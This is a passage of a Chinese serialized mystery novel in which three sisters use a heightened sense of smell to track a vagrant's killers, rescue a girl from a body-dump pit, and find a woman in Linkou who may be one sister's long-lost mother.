嫌疑人往往都会回到案发现场。 方小满和池希走过去缠住刑警,桑白玉趁机偷看案发现场。 破旧的胡同,凌乱的鞋印。 看血迹喷溅的位置,流浪汉是背对胡同口,然后被抹了脖子。 出血量极大,估计伤到动脉。 死者向前爬行过,最后倒下的地方有很多脚印,其中一双脚印是宁红英的。 桑白玉闻到很多人的气息,其中就包括宁红英。 对桑白玉来说,他们的气息还没被冲散。 不过当时有很多人来施救,无法靠气味锁定凶手。 桑白玉忽然愣住。 她不可思议地看向巷子深处,想走过去看看,却被警戒线拦住。 方小满和池希实在撑不住了。 刑警呵斥道:“这是命案现场!你们如果想搞破坏,就和我回公安局!” 方小满吓得大气都不敢出。 桑白玉看向刑警。 不等刑警说什么,桑白玉的眼睛就红了一圈,“对不起,我的姐姐被当作嫌疑人抓走 了,我知道我姐姐的,她不会杀人,我只是想把她救出去。” 桑白玉说着,轻轻咬住下唇,片刻后又说道:“她和我没有血缘关系,我是孤儿,她把我拉扯大的。” 方小满越听越害怕。 这里的警察可不是龙星岗的警探,不吃这套的!把实话说出来,人家会怀疑他们联合起来破坏现场的! 方小满朝桑白玉挤眉弄眼。 下一秒,刑警便同情道:“你是个知恩图报的好孩子,但是这里是案发现场,不能随便进来,你可以在外面看看,不能越过警戒线。” 方小满:“……” 长峡的警察也看脸。 池希敬佩道:“不愧是小玉,谁都能搞定。” 方小满说:“她当年就是这样搞定我们的。” 漂漂亮亮的小朋友,谁见了都喜欢。 她怎么就没抵抗住,沦陷了呢?! 刑警允许他们留在外围,但桑白玉已经不想留下了,她有更重要的事要做。 巧的是,他们刚离开现场,就遇到一个玉石店的顾客。 傍晚六点多,他在玉石店买了一个玉扳指,现在怀疑是假的,要求退货。 男人态度强硬,“我刚买的,还没动,你们别想不承认!我要退货!” 话音落下,他看到三个年轻人激动地看着他。 男人:“……,干嘛,我只是退货,你们还要打人?你们如果打人……那我不退也可以。” 方小满激动道:“退,肯定给您退,您具体是几点过去的?” 男人:“……,六点多,得待到快关门,你们这里七点关门?” 池希:“你跟我们走一趟,我们马上给您退!!” 十分钟后,男人被三人驾到公安局。 男人:“??” 不是,他退个货而已,还要进公安局?! * 晚上十一点多,宁红英才被放出来。 一同离开的还有成功拿到退款的男人。 男人看了一眼时间,诡异地笑起来,“真好。” 方小满警惕地看着男人。 男人仰起头,眼泪滑落,“买了个扳指,浪费一晚上的时间,还来公安局体验,回家晚了又要被老婆骂……真是美好的一晚。” 池希:“噗。” 桑白玉从兜里翻出二十块钱,走过去双手递给他,“哥,辛苦了,我姐姐刚好被卷入凶杀案,多亏您愿意做证。” 男人看看桑白玉,又看看二十块钱,转悲为喜,“哎呀,这是我应该做的,你看看你,太客气了,怎么还给钱?” 桑白玉:“那我把钱收起来了?” 男人把二十块抢走,“哥就不是为了钱!再遇到麻烦,再来找哥,哥还给你们做证!” 男人高高兴兴回家。 桑白玉看向宁红英,担心她在里面受到刺激。 还好,宁红英看起来没什么异样。 方小满安抚道:“没事了啊,你也是倒霉,怎么被流浪汉缠上了?” 宁红英锁起眉,一言不发。 她的状态让方小满害怕,“到底出什么事了?你还在想流浪汉?他已经死了,不是你害的。” 宁红英说:“他死之前,一直拉着我的手。” “这只能怪凶手,怪不得你。” 宁红英摇头,“他拉着我的手,一直在说……俩口。” 方小满:“啊?这是词吗?宁蓝国的语言?也没听过啊。” 宁红英说:“的确没听过,我也想不明白。” 她看到有人受伤,只想尽快把人送到医院。 流浪汉一直捂着脖子,看到她后,拉着她的手不撒手。 她想去找人帮忙,流浪汉拧开松开脖子,都要双手拉住她。 他可是被割断了喉咙。 宁红英问:“他该不会认识我吧?” 方小满越听越茫然。 她从小就和宁红英生活在一起,宁红英认识的每个人她都认识。 一个流浪汉,怎么会认识宁红英? 可惜现在人已经死了,想问也问不了。 宁红英想查明白“俩口”究竟是什么意思,但一时间不知该如何做。 方小满道:“先和大姐说一声,让大姐帮忙找找人?” 宁红英点头,“现在也只有这个办法了。” 桑白玉忽然说道:“我想去看看尸体。” 池希:“?” 他哆哆嗦嗦地问道:“看尸体?你不害怕?” 桑白玉:“……” 有的时候他真的怀疑池希是池家人安排在他们身边的卧底。 池家什么生意都沾,怎么会养出一个什么都不懂的笨蛋来? 但如果仔细观察池希,桑白玉又觉得,嗯,确实是笨。 桑白玉说:“你又不是刚认识我,我见过的尸体也不少了,我给吴叔叔帮过很多次忙。” “那是在龙星岗,”宁红英说,“这里是长峡,警察不会随便让我们看的。” “想想办法吧,”桑白玉往办事大厅走去,“再去见见段警官。” 十分钟后,桑白玉和段浩面对面坐下。 段浩锐利的目光逐渐清澈、单纯,“你是说,你要出安葬费?” 桑白玉自然而然道:“相遇就是缘分,他是流浪汉,将来案子结束,没人来认领尸体,存放尸体就是你们的工作。存放尸体是要交钱的,你们存了几年,还是找不到家属,最后还是要火化。我们希望能在抓住凶手后,出钱安葬他。” 段浩:“……” 他见过犯罪嫌疑人叫屈的,第一次见上赶着要交钱的。 段浩说:“宁红英的嫌疑已经洗清,她没有作案时间,你为什么要交钱?” “我心善啊,”桑白玉说,“主要还是我有钱。” 段浩:“……” 这个理由听起来挺让人生气。 桑白玉愿意出钱安葬流浪汉。 不仅是安葬流浪汉,她还愿意捐钱帮助刑侦队。 有好几具尸体无人认领,现在都存放在殡仪馆,产生的费用是笔烂账,刑侦队也没那么多经费。 桑白玉的条件很简单,只是要去见流浪汉一面,而且是在法医和刑警的监视下见面,绝对不触碰流浪汉的尸体。 条件听起来很诱人,但段浩是警察,怎么能屈服?! 段浩:“……” 他问:“现在就去看,今晚就给钱吗?” * 流浪汉的尸体暂存在法医鉴定中心。 法医鉴定中心不在公安局内,段浩亲自开车载他们过去。 段浩倒不是见钱眼开,是队里的经费实在吃紧。 查不到身份的尸体无人认领,与刑事案件无关的,能让他们入土为安也是好事。 反正他们会严格看管这几个人,绝对不让他们触碰尸体。 进去查看尸体的人是桑白玉和宁红英。 女警察带二人去搜身,确保她们不会伤害尸体。 段浩想到做笔录时,她们之中有一人是龙星岗市的法医,说道:“你们是想破案?要法医去看?其实我们的法医水平很不错,不会验错。” 方小满:“……” 就当她们是法医吧。 段浩:“相反,龙星岗的法医水平反倒要打一个问号,那边办案太不认真,他们现在的署长是咱们国家的人,还比从前好一些。” 方小满:“你说谁水平不行!!” 池希拼命拦着,“小满姐!克制!克制!!” 流浪汉平静地躺在解剖台上。 死亡时间还不超过十个小时,尸体没太大变化,但他脸上的死亡之气仍然浓郁。 宁红英很想问问他,为什么要抓住她,俩口究竟是什么意思。 桑白玉站在远处,只有鼻子在动。 五分钟后,她看向女警,“姐姐,我们可以了。” 女警惊讶道:“这就结束了?你们可以再看会儿。” 给了不少钱呢,得让她们看到位。 桑白玉道 :“可以了。” 两人向外走去。 女警:“!!” 这钱来得真容易。 在这里看五分钟能看出什么?看来她们是……纯纯的心善啊! 离开法医鉴定中心,桑白玉几人打车回家。 案发现场警戒线还没撤,时不时就有路人站在胡同口往里瞧。 长峡市的恶性案件远不如龙星岗,但凡出现命案,都会引起小轰动。 方小满急着想知道结果,“你究竟闻出什么了?” 桑白玉看了眼池希。 她把池希当作朋友,但池希的身份的确太特殊,他本身又没什么脑子,桑白玉害怕他被人套话。 桑白玉说:“暂时没有新的线索,明天再出门看看。” 池希失望道:“还要再等啊,行吧,明天我再来找你们。” 他是男人,不方便留下。 池希离开后,桑白玉才拽了拽方小满,示意她检查房子。 方小满:“现在?” 桑白玉点头。 三人把房间搜了个底朝天,确定没人闯入过,也没有任何监听设备,桑白玉才郑重道:“我们今晚不能睡了。” 宁红英问:“你究竟闻到什么了?” 桑白玉说:“女孩的味道。” 方小满:“流浪汉身上?杀死他的人是个女孩?” 桑白玉摇头,“不一定。” “那就没有意义了,”方小满说,“流浪汉被伤后,有很多人过来搭救,红英就是其中一个,他在这个时候接触过某个女孩,留下气味,很正常。” 桑白玉问宁红英,“你去以后,还有年轻女孩去过吗?” “没有比我年纪更小的。” 桑白玉道:“那就是之前接触过。” 方小满说:“可只说女孩,好像没必要找啊,还有更确切的证据吗?” 桑白玉叹口气,说:“她的味道我从前闻过。” 方小满:“?” 桑白玉一字一句道:“几年前,我刚到龙星岗,被砍头的提拉德,你们还记得吗?” 方小满点头。 这桩案子她和桑白玉一起掺和的,让吴元青很头疼。 桑白玉说:“他身上也有类似的味道。” 方小满倒吸一口冷气。 提拉德和流浪汉,为何会接触同一个女孩。 还是年轻女孩,提拉德可遇害很多年了。 这女孩……什么来历? 宁红英问:“你怀疑流浪汉和提拉德有关?还是和池家有关?” “我不知道,”桑白玉说,“我现在更想确认女孩的身份,事实上,我还在其他地方闻到过她的味道。” “哪里?” 桑白玉说:“在何利家找到的档案上。” * 提拉德、何利的死,至今还未找到凶手。 再加上刚刚遇害的流浪汉。 他们遇害前似乎都接触过同一个女孩。 桑白玉先把此事告诉惠海铭,然后打了一辆出租车,“去玉兰山。” 三人沉默地坐在后面。 方小满担心道:“我们三个人去,是不是太危险了?还要打陌生人的车。” 司机:“……” 他看向后视镜,“应该是我害怕你们三个吧!!” 看表情,像是吃过人! 玉兰山在长峡市正北方向,再往北走就没有城镇了,只有连绵起伏的大山。 司机停下车,桑白玉给了他车费,又让他留下联系方式。 往玉兰山走只有土路,土路两旁是草地,再往上就是高山。 夜色正浓,往西五百米,还有一片村子里的公墓。 方小满在黑夜中努力辨别山的方向,冷风吹过,她裹紧衣服,“咱们别往人家墓地里跑了。” 桑白玉看向玉兰山,“不去墓地,他生前来过玉兰山,我们去山上看看。” 运气好,或许还能找到流浪汉的味道。 三人往山中走去。 长峡市被山川围绕,头顶的星星清晰可见。 平时是优点,放到现在就是缺点,方小满总要回头看看,害怕被人跟踪。 桑白玉一直在前面带路,“这边。” “左转。” “这里要往上走。” 方小满搂着桑白玉的胳膊惊叹道:“这里的味道你都能闻到?!” 桑白玉:“……是看野草倒下的方向。” 宁红英慢吞吞道:“连自己的本事都忘了,四肢发达,头脑简单。” 方小满:“……” 对哦。 三人走了将近一个小时,桑白玉才停下来,“有他的味道,他为什么会来这里?” 宁红英走到最上方的岩石上往下看,“这边离市里不远,下面有人家住,看起来有很多户。” 桑白玉说:“可附近有人家也是村子,去市里乞讨,总比在这里要到东西的概率大吧?” 方小满道:“他可能是伪装成乞丐的犯罪分子,他想害红英。” 这话有道理,但也不完全有道理。 “继续找吧,现在说再多,都只是猜测。” 桑白玉却拧着眉没动。 宁红英和方小满往前走了几步,才发现桑白玉没跟上来,宁红英问:“就在这里?” 桑白玉轻轻点头,“有女孩的味道,还有很多人。” “很多人?!什么意思?” 桑白玉拧眉,“我也说不好,就是很多人,而且……” “如何?” 桑白玉问:“小满姐姐,你记得祝江吗?好像有他的味道。” 方小满当然记得祝江,何利遇害时,池昭的人就在附近,其中就有祝江。 “池昭果然不是什么好东西!!以后不能相信他!” 桑白玉没附和方小满,她蹲在地上找线索。 她闻到了很多人的味道。 其中女孩、祝江以及流浪汉的味道比较明显,桑白玉对他们的味道印象深刻。 桑白玉走向上山的另一条路,这条路的另一端就是宁红英山发现的山村。 这条路上的气味更浓烈,他们是从这边上山的。 桑白玉往山下走去。 方小满奇怪道:“你要走了吗?” “安静,”宁红英说,“给小玉一点儿时间。” 方小满斜眼看向宁红英,“我发现你在教育我的时候语速很快。” 宁红英郑重道:“为了治好我说话慢的毛病,我决定以后一直教育你。” 方小满:“……” 桑白玉没有真的下山,她只是在路边的树旁晃悠了会儿。 没多久,她就回到起点,“流浪汉曾经在树后待过。” “这能说明什么?” 桑白玉肯定道:“他们不是一伙的,流浪汉在跟踪他们,他和女孩是对立的。” 宁红英恍然大悟,“所以流浪汉是被女孩灭口的。” “流浪汉跟踪他们上山,看到了不该看的秘密,他们找到流浪汉,灭口。这边应该来过起码五个人,这五个人味道,和案发现场有重叠,最明显的是女孩的味道,她是杀人凶手的可能性极高。” 方小满看向玉兰山,“可他们跑到山里做什么?” 桑白玉摇头,“我也不清楚。” 宁红英问:“是先和大姐说一声,还是继续?” 桑白玉道:“附近应该没人。” 既然没人,那就没有离开的理由了。 宁红英率先向前走去。 虽然已经知道流浪汉和女孩不是一伙的,但宁红英还是想知道,流浪汉死前为什么只拽住她一个人。 她虽然是第一个赶到的,但随后又来了很多人帮忙,为什么只找她一个? 他不断地对她重复着那两个字,她有种感觉,他好像有话要对她说。 宁红英心里有些乱。 她不知该如何形容那种感觉,她觉得,流浪汉好像认识她,他似乎不是第一次见到她。 宁红英是孤儿,是被惠海铭捡回家的。 在玉石店生活这些年,宁红英过得很开心,但偶尔还是会想知道,她的父母是什么样的人,为什么丢下她。 方小满见宁红英如此积极,知道这件事对她意义不同。 虽然方小满想不明白有何不同,但是姐妹想做的事情,她得尽全力帮忙。 三人闷头往前走,继续找线索。 上山的路不太好走。 长峡市在边境线,登高能看到的地方全是连绵不断的山川。 不是专业人士,是完全分不清这些山属于哪些国家的,可能翻过这个山头,对面的山头就是宁蓝国的,或是北方的国家。 想在这里做点儿坏事,可能几十年都不会被发现。 三人越走越偏。 幸好她们都受过训练,不会在这种地方 迷路。 宁红英一路做好标记,只有她们自己人看得懂的标记。 桑白玉是沿着气味流动的方向走的。 越往里走她越能确定,流浪汉一定是跟踪他们过来的。 可是一个人跟踪好几个人,其中还包括男人,她实在想不通流浪汉究竟看到了什么,一定要涉险。 就在这时,方小满忽然说道:“又是坑。” 桑白玉向看去。 山中树木茂盛,枝条遮挡住月光,光线并不清晰。 桑白玉依稀能看到石块,好像有个山洞。 走近一看,才知道方小满说的是对的,这不是山洞,是大概有80°倾斜的坑。 方小满想起天坑就头疼。 她第一次去天坑,在坑底发现了这辈子见过最多的白骨,差点儿把她胆小的毛病治好。 方小满说:“又是坑,坑里抛尸最方便。” 桑白玉和宁红英看向方小满。 方小满:“……,不会吧?!”—— 作者有话说:这本每天都在写,但是特别卡,就想着一口气写完再改再发算了… 还是先更点儿吧[爆哭] 第55章 桑白玉小心翼翼靠近坑。 洞口直径不大,但很深,深不见底。 方小满发誓:“如果他们再往坑里抛尸,我一定和他们势不两立。” 知不知道抛尸的活儿只能她来做?! 桑白玉趴在坑边闻了一会儿,说:“我们得下去一趟,他们来过这里,还有……尸体的味道。” 方小满:“!!” 抛尸能不能有点儿新意! 宁红英却拦住二人,“你们说他们究竟是什么人?做了什么坏事被流浪汉抓到?” 方小满道:“小玉都说了,有尸体的味道,他们肯定是在抛尸时被流浪汉看到,流浪汉一路跟踪,又被发现,所以被灭口。” 宁红英又问:“他们有几人?” 方小满说:“六七个?小玉,你刚才说有多少人?” “这不是重点,”宁红英道,“他们之间的女孩,与多年前遇害的提拉德有关,与何利也有关,祝江,是池昭的手下,是池家人。” 方小满点头,“是这样。” “你还没发现不对?”宁红英无奈道,“这可能是池家人的生意,他们选择在玉兰山抛尸,说明他们平时就是在长峡市活动的,没办法带着尸体去龙星岗解决,在这里,有一伙池家人在背地里行动。” 龙星岗和长峡之间的关口越来越严格,他们没办法做到带着尸体回龙星岗,只能选择长峡。 在龙星岗解决尸体其实更方便,一是警署可能不会严查,二来他们有关系网,能保下他们。 方小满后知后觉道:“你的意思是,池家人有阴谋,就在长峡市?” 宁红英点头。 “什么阴谋?” “池明远一直从事贩卖毒物的生意,还想走私军/火,或许和这件事有关系,和池明远有关的,无非就是生意。” “这人可真是坏透了,为了赚钱什么都能做。” “别抱怨了,”宁红英说,“我们得通知警方,让警察过来找尸体,但不能直接告诉他们,可以让大姐找人转达。” 桑白玉迟疑地看着坑口。 方小满道:“红英说得没错,下面不知道是什么情况,既然和池家有关,我们要小心” 桑白玉站在坑边看了良久才说:“我感觉下面有活人。” 方小满吓了一跳,“什么叫活人?” “气息很微弱,但应该还活着。”桑白玉说,“但我也不能肯定,我从没遇到过这种情况。” 若真有人活着,且不说对方原本是否受伤,光是从上面掉下去,都有得受了。 坑不算太深。 桑白玉决定冒险下去看一看。 方小满说:“你就算了吧,攀岩我在行,我来。” 桑白玉想让方小满去冒险,这是她的想法。 “什么你啊我啊,”方小满板起脸教育她,“你是我妹妹,你比我小,我能让你去涉险吗!我连天坑都下去过,还去不了这小坑?” 宁红英看向四周,“一定要下去也可以,但要先确定是否有人盯着这里。” 综合桑白玉的描述,对方像是团伙作案。 如果和池家有关,情况就更糟糕,给池家办事的人很多,打手数不胜数。 若在她们往下走时来人,可就危险了。 桑白玉说:“我先去走一圈。” 山里只有山,没有人。 宁红英随身带着些小巧的监听设备,在四周安置好。 攀岩绳也是现成的,方小满出门在外,除了手术刀,带的就是这些不太沉的装备。 她慢慢放下走,桑白玉在上方给她照亮。 照明灯也是宁红英改装过的,比平时用的手电亮得多。 慢慢地,方小满爬到了光线照不到的地方。 桑白玉和宁红英在上方等了将近半个小时,方小满也没动静。 桑白玉有些担心方小满的情况,“如果下面不是抛尸的地方,活着的人是他们的人,小满姐姐就危险了。” 宁红英:“……” 担心到已经不按常理思考了。 宁红英问:“他们把自己丢在下面图什么,就为了不方便出来吗?” 桑白玉:“……” 她还是担心,“下次还是我去吧,万一遇到人类,小满姐姐可能没办法对付她。” “这我赞同,”宁红英说,“小满的脑子需要重新开发。” 姐妹俩面色沉重地点头。 攀岩绳忽然摇晃起来。 桑白玉和宁红英赶紧起来查看情况,方小满在下方开着灯,正往上爬。 她一路蹿得极快,桑白玉和宁红英把她拉上来,她站在旁边喘了好一会儿,才指着下面说:“三个人,女孩,年龄在10岁左右,其中两个人死亡时间在24小时内,活着的剩最后一口气,我给她简单处理了一下,但你们应该知道,我更擅长处理尸体。” 现在必须找人来把女孩救出来送到医院。 女孩可能全身多处骨折,她们不能随便移动她。 桑白玉奔到山脚下的山村去报警,然后给惠海铭打电话。 * 折腾了一夜,女孩被长峡警方救出。 后续又来了两个军方的人将女孩带走,说是要保护起来。 这两人大概与惠海铭有关。 女孩至今昏迷,没能说出更多线索。 倒是段浩给宁红英打来电话,让她去局里一趟。 宁红英当天便带着方小满和桑白玉赶了过去。 段浩看到三位富婆,态度很友好,“死者一直拉住你不放这件事,我们也都很疑惑,笔录里说,他一直对你说俩口?” 宁红英点头,“我不懂这两个字的含义,可能是方言。” “没错,”段浩说,“我们查到死者的真实身份了。” 桑白玉问:“他说的地方,是他的家乡?” “这倒不是,”段浩道,“在案子破获以前,没办法向你们透露更多消息,但有一点可以告诉你们,‘俩口’可能是地名,隔壁省有一个林口县。死者是禹城人,他们那边的方言会把林口说成‘俩口’,我已经确认过了。” 死者去世前宁可不捂伤口,也要拉着宁红英说的两个字,是个地名? 段浩问道:“你真的不认识他?他为什么对你说林口?太奇怪了。” 宁红英从未去过林口,甚至未曾听说过。 离开市局,宁红英心情沉重。 方小满碰了碰桑白玉。 桑白玉走到宁红英身边说道:“我们陪你去林口看看?” 宁红英微怔,接着苦笑道:“去了也没用,他只说了林口县,国内的小县城也有很多人,我们去找谁?” “就当散散心,无端被扯进命案里,已经很倒霉了。” 方小满 说:“我们租一辆车开过去,方便。去吧,正好我也想出去看看,总困在龙星岗,哪儿都没去过,听说现在华国发展得特别好。” 桑白玉道:“我倒是没什么,但是小满姐姐你……” 方小满:“嗯?” 十分钟后,方小满找到座机,颤颤巍巍拿起话筒。 她还未开口,就听到吴元青的怒吼声:“你还要再请几天假??!!” 方小满:“……” * 在吴元青的痛骂声中,方小满含泪又请了几天假,吴元青答应帮她说情。 原本方小满去龙星岗做法医,只是想和大姐近一点儿,她以为她们还要一直在龙星岗生活。 现在看来好像没什么必要了,如果可以,她留在长峡市做法医也不错。 三人租了一辆出租车赶往林口,一路上都有人朝她们招手要搭车。 没办法,现在还没有正经的租车公司,租出租车比较方便。 林口距离长峡市有五百公里,不算太远,但也不近,而且有很多山路,车不好开。 三人轮流开车。 快到林口时,方小满换桑白玉,桑白玉回到后排休息。 小灵通响了起来,有短信发过来,是个陌生号码。 对方询问她们找到了什么。 虽然他没有表明身份,但桑白玉莫名坚信他就是池昭。 桑白玉挑起眉。 她去找池昭时,池昭一副不配合的态度,也没否认是他派人去玉石店。 桑白玉放下小灵通没理会他。 没过一会儿,电话打了过来。 桑白玉有心晾着他,故意没接。 电话之后又是信息。 “我们还是合作关系吧?” 桑白玉瞟了一眼,再次丢掉小灵通。 方小满奇怪道:“是谁一直给你发消息?” 桑白玉随口说道:“不重要的人。” 方小满:“?” 看桑白玉时不时就要瞥一眼小灵通的表现,可不像是不重要的人。 小灵通再次响起来。 这回桑白玉懒洋洋地按下接通键,她只是听着,没先开口。 对面也没说话。 双方僵持不下。 片刻,池昭的声音传来,“你提条件,我只需要知道你们发现了什么。” 桑白玉笑眯眯道:“可你现在对我而言没太大利用价值。” 池昭再次妥协,“好吧,我可以告诉你,警方已经把人带走了。他们又动作,正在找关系疏通,还有一群人正试图离开长峡,暂避锋芒。” 桑白玉根据池昭的话,猜测那群人的身份。 和池家有关是可以肯定的,但究竟和池家哪一部分生意有关,就不得而知了。 桑白玉说:“这些我不感兴趣,这样吧,你帮我查一个人。” “谁。” “我曾经和你说过的,提拉德。” 池昭疑惑道:“和今天的事有关?我在池家,完全没听过他的名字,他只是个小人物。” “别管大小,把杀害他的凶手找出来,还有,查明白他为何而死,生前接触过哪些人,我们才可以继续谈。” 池昭没答应也没拒绝。 桑白玉挂断电话。 方小满问:“你还相信他?” 桑白玉弯起唇,“没办法,他长得太美,美人的话总要听一听。” 宁红英说:“美人最会骗人。” 桑白玉:“?” 这话怎么有点儿耳熟? 颠簸过后,三人终于来到林口县。 林口只是一个小县城,经济发展落后,甚至不通火车,只有一个汽车站。 汽车站每天只有一班车进出,进林口县的路坑坑洼洼的,私家车进出都不方便。 宁红英一心想来林口县,真的来了,看到萧条的小县城,又不知该做些什么。 她甚至不知道自己是来找什么的。 桑白玉道:“说不定流浪汉来过林口,才一直喊林口,我们先四处打听打听,看看有没有认识他,我还记得他的味道,如果他曾在林口长时间逗留,应该还有找到线索。” 也只能如此。 三人先去汽车站。 就算是流浪汉,靠双腿走出林口县也有些困难,一路上都是山,没有补给的地方。 宁红英画了一张流浪汉的画像,递给工作人员看。 工作人员摇头,“从没见过,流浪汉哪有钱坐汽车啊。” 桑白玉偷偷看了眼画像,有99%的像。 她的红英姐姐还有这本事! 方小满得意道:“大姐说,不是每时每刻都能有相机用,一定要有一个人能复刻出人的长相,我把活儿推给红英了!” 桑白玉很羡慕。 她的姐姐们会的技能也太多了吧! 三人拿着流浪汉的画像四处询问。 她们还去了林口的派出所,打听林口的流浪汉,结果也很令人失望。 三人一直找到晚上十一点钟,才去宾馆睡下。 第二天六点钟,宁红英最先醒过来,桑白玉和方小满又爬起来继续去找人。 她们找了整整两天,一无所获。 流浪汉好像从未出现在林口县过。 方小满有点儿撑不住了。 宁红英失落道:“确实不能再继续了,谢谢你们陪我过来,过来一趟我就不再惦记了。” 方小满见状,心里不是滋味,她问桑白玉,“你真的一点儿熟悉的味道都没闻到?” 桑白玉摇头。 方小满说:“也有可能是流浪汉来过林口县,但是停留的时间太短,或者下过雨,下雨不也会影响吗?他肯定来过,否则不会一直念叨。红英,我们再找找。” “算了,”宁红英说,“被救的女孩还不知道怎么样了,还有玉石店,总关门影响生意,我们还是回去吧。” 方小满为难地看向桑白玉。 桑白玉在脑海中回忆这两天走过的路。 林口县很小,只有两条主路,这两天她们已经彻彻底底搜过一遍。 流浪汉要维持生活,势必要出现在大众眼中,尤其是主干路上。 没有人见过流浪汉,他或许真的没来过林口。 既然没来过,为何要拉住宁红英不放,非要说这两个字? 难道“俩口”二字,另有含义? 桑白玉说:“现在恐怕没办法找到流浪汉,我们可以先回长峡,向警方询问流浪汉的人际关系,说不定会有收获。” 三人重新坐上车。 方小满开车,桑白玉坐在副驾驶。 路上没有几辆车,出租车也不多,视野很开阔。 离开林口的路线经过汽车站。 桑白玉正专心致志地盯着路边的行人看,方小满猛地踩了刹车。 桑白玉看向方小满。 方小满错愕地指着前方,“她、她她……” 第56章 汽车站的大门口,一个背着木牌子的女人正往外走。 木牌子上写满了字,距离太远,看不清楚。 可以看清的是女人的长相,她们似乎都见过。 方小满和桑白玉没有任何迟疑,一起回头看向宁红英。 宁红英怔住两秒,拧眉看向女人,看清女人的模样后再次怔住。 她和女人长得很像。 像到什么程度?只要看对方一眼,就立刻能想起另一个人。 车内没人说话,甚至没人提到流浪汉。 但在看到女人的瞬间,她们都想到了同一点。 短暂的错愕后,方小满把车停在路边,桑白玉和宁红英打开车门向女人奔去。 女人刚从汽车站出来,正在找招待所。 两个拉客的中年妇女招呼她去开在火车站附近的宾馆,她问过价格后,跟着两人走去。 宁红英想叫住她,可又不知该如何称呼她,只能无助地大喊。 桑白玉来不及安抚宁红英,加快速度向女人冲去。 在她即将走进招牌都倒下的宾馆前,桑白玉及时拉住她,“等等!” 中年女人不悦道:“人家都说好来我们店里住,怎么还来抢人的?” 桑白玉执着道:“等等,你先见一个人。” 女人奇怪地看着桑白玉。 她不认识她,从未见过。 中年妇女走过来赶人。 的桑白玉沉下脸,“你看我像是来和你抢客人的吗?” 桑白玉的声音带着一股狠劲。 她很少用这种语调说话。 中年女人竟被桑白玉吓住,见她的确不像是来拉客的,才嘟嘟囔囔后退。 桑白玉怕女人离开,拉住她的衣袖,说:“你先和她见一面。” 她指向宁红英。 宁红英气喘吁吁地站在两米远。 她跑得太快,岔气了,不舒服。 女人好奇地看着宁红英。 宁红英喘了一会儿,才艰难地抬起头。 二人都愣住。 就连两个中年女人都愣住,忍不住议论道:“这俩人……长得好像啊?!” 张淼怔住片刻,走向宁红英。 她一言不发,只是看着她,目光不舍得移开。 宁红英慢慢挺直腰背,终于走到张淼面前,她不知该说什么好。 张淼张了张嘴,却没能发出声音。 她努力地控制自己了,可什么都控制不了。 宁红英能听到张淼的心脏正剧烈跳动。 良久,宁红英才轻声问道:“我们认识,是吗?” 张淼紧紧抿唇,先是点头,接着又连续摇头。 她的喉咙像被卡住,一个音节都发不出来。 桑白玉见状,解释道:“一个流浪汉看到红英姐姐,一直拉着她不放,他死前提到林口,所以我们就过来了。” 张淼看向桑白玉,眯了眯眼,忽然激动起来,“他……死了?!” 桑白玉点头,“他遇害了,红英姐姐想搭救他,他没提到凶手,一直在说林口。我们不知道是什么意思,所以决定来看看,他好像认识红英姐姐。” 张淼眼含热泪,看向宁红英。 她明白了,什么都明白了。 * 四人找了一家饭店,张淼要了瓶白酒。 她虽然和宁红英很像,但肤色完全不同,她皮肤黝黑,手上布满老茧,身材健硕,能清晰地看到腿部结实的肌肉。 张淼微笑着给自己倒酒。 她的手抖得厉害,酒洒了一半。 张淼想去找抹布,又不知该把酒杯放到哪里,无措好一会儿,边笑边流泪。 张淼不好意思地笑笑,“我真是的,这是好事,怎么还哭了?” 宁红英默默地拿出手绢给她擦眼泪。 桑白玉看向张淼的行李,问:“您出来很久了吗?” “很久了,”张淼长叹一声,“久到我已经记不清了。” 张淼曾经就读于师范学校,毕业后成为小学老师。 经媒人介绍,张淼和丈夫结婚,丈夫是个老实人,能踏实过日子的。 婚后一年,张淼怀孕,十个月后女儿出生。 大约是体内的激素作祟,张淼时时刻刻都想与女儿贴在一起,稍微离开一会儿,便会担心得吃不好睡不好。 然而女儿六个月时却在公园和家人走散了。 张淼的父母,丈夫的父母,两家人集体出动,找了整整一年,杳无音信。 张淼也因请假次数太多被校长叫去谈话,但她不肯放弃。 丈夫和她商量着再要一个,张淼情绪激动地反对。 她无法容忍自己放下女儿,去过新的生活。 此后夫妻俩关系越来越僵,丈夫还想缓和,张淼却不愿意再谈了,她知道丈夫不想继续找下去,想开始新的生活。 张淼主动提出离婚,丈夫知道她的意思,挽留过两次后,两人去办理了离婚证。 等国内放开,行走方便后,张淼踏上寻找女儿的路。 她一路往南走,每一个小县城、小山村都不放过。 只要她地图上有的,她听说过的,都一定要去看看。 这些年她一直没能找到和女儿有关的线索,但结识了很多朋友,流浪汉也是其中之一。 流浪汉居无定所,平时也会乱走,两人约定好,如果找到张淼女儿的线索,一定要联系她。 张淼是按计划行动的,她把路线图给流浪汉看过,他知道,再过不久,张淼会到林口。 所以他看到宁红英后,脑子里只有张淼,他只会方言,担心宁红英听不懂,就一直念叨着“林口”。 酒还没喝,张淼趴在桌子上痛哭。 这些年没有家人支持她,她打电话给家里时,爸妈都要她赶紧回去。 没人理解她为什么不开始新的生活,反而执着于找孩子。 每个人都爱孩子,但做到张淼这个地步的,少之又少。 张淼不知道自己是高兴还是难过,她想哭又想笑,不断地用手绢擦眼睛,过一会儿又笑出声。 两个多小时后,张淼的心情才慢慢平复。 宁红英红着眼眶看着张淼,即便她不是她的生母,能认识张淼,她也知足了。 如果有一个人一直坚持不懈地找她,她也会很开心。 桑白玉提议道:“现在可以做DNA检测,查你们是否有血缘关系。” 张淼笑着拉起宁红英的手,“能见到你一面,我就很开心了,我们……真的很像。” 第57章 张淼随宁红英回到长峡市。 两人都没再提鉴定一事。 或许一个想知道自己从何而来,另一个也不想再希望落空。 桑白玉和方小满偷偷把头发送去做鉴定,鉴定结果要过几天才能出。 桑白玉忙完宁红英的事,第一时间去看望被救出来的女孩,她侥幸捡回一条命,昏迷了两日,刚刚清醒。 宁红英想多陪张淼几天,没和她们一起去。 女孩还在住院,是被秘密转移过来的,由长峡方面出面保护,看着应该是军方的人。 惠海铭从龙星岗赶来,正守着女孩。 女孩只有八岁,全身多处骨折,腹部被刺伤。 她显然还没彻底清醒,迷茫地看着周围的人,惠海铭拉着她的手说道:“乖,我们都会帮你,是谁伤害了你,告诉我们好吗?” 女孩面色茫然。 桑白玉轻轻嗅着女孩的气息。 惠海铭安抚似的摸了摸她的头发,方小满找来医生,给女孩做检查。 惠海铭把桑白玉带出病房,“有线索吗?” 桑白玉说:“她身上也有女孩的气息。” “哪个女孩?” 桑白玉道:“曾经和提拉的有接触,也碰过何利的档案,还出现在流浪汉遇害现场附近。” 